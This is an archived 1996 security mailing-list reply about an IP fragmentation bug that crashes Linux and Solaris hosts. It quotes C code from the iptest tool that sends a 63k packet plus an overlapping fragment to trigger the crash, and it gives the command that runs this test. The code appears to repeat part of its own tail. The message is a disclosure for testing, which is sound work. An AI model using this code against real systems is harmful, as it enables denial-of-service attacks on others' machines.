Date: Tue, 22 Oct 1996 23:35:12 +1000 (EST) From: Darren Reed <avalon@coombs.anu.edu.au> To: lutz@muc.de (Lutz Albers) Cc: security@freebsd.org Subject: Re: [bugtraq] Serious Linux Security Bug Message-ID: <199610221338.GAA28820@freefall.freebsd.org> In-Reply-To: <v03007802ae925cb8a72c@[192.168.42.51]> from "Lutz Albers" at Oct 22, 96 01:15:53 pm
next in thread | previous in thread | raw e-mail | index | archive | help
Solaris2 was, I believe, vulnerable to this bug too.
>From the "Crashable" file for iptest:
Solaris 2.4 - upto and including 101945-34, > 34 ?
Solaris 2.5 - 11/95
For those with it handly, "iptest -1 -p 8".
but I built in some random lossage which may stop it triggering the bug.
I think if the lossage is taken out, some systems will try to reassemble
it all into a buffer which (of course), is at max. 64k in size.
However, it doesn't try to send an ICMP packet, the following segment of
code is what triggeres it:
if (!ptest || (ptest == 8)) {
struct timeval tv;
gettimeofday(&tv, NULL);
srand(tv.tv_sec ^ getpid() ^ tv.tv_usec);
/*
* Part8: 63k packet + 1k fragment at offset 0x1ffe
*/
ip->ip_off = IP_MF;
u->uh_dport = htons(9);
ip->ip_id = htons(id++);
printf("1.8. 63k packet + 1k fragment at offset 0x1ffe\n");
ip->ip_len = 768 + 20 + 8;
if ((rand() & 0x1f) != 0) {
(void) send_ip(nfd, mtu, ip, gwip, 1);
printf("%d\r", i);
} else
printf("skip 0\n");
ip->ip_len = MIN(768 + 20, mtu - 68);
i = 512;
for (; i < (63 * 1024 + 768); i += 768) {
ip->ip_off = IP_MF | (i >> 3);
ip->ip_off = IP_MF | (i >> 3);
if ((rand() & 0x1f) != 0) {
(void) send_ip(nfd, mtu, ip, gwip, 1);
printf("%d\r", i);
} else
printf("skip %d\n", i);
fflush(stdout);
PAUSE();
}
ip->ip_len = 896 + 20;
ip->ip_off = IP_MF | (i >> 3);
if ((rand() & 0x1f) != 0) {
(void) send_ip(nfd, mtu, ip, gwip, 1);
printf("%d\r", i);
} else
printf("skip %d\n", i);
fflush(stdout);
PAUSE();
}
ip->ip_len = 896 + 20;
ip->ip_off = IP_MF | (i >> 3);
if ((rand() & 0x1f) != 0) {
(void) send_ip(nfd, mtu, ip, gwip, 1);
printf("%d\r", i);
} else
printf("skip\n");
putchar('\n');
fflush(stdout);
}
Don't work against any system using a BSD based IP networking code.
Darren
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199610221338.GAA28820>
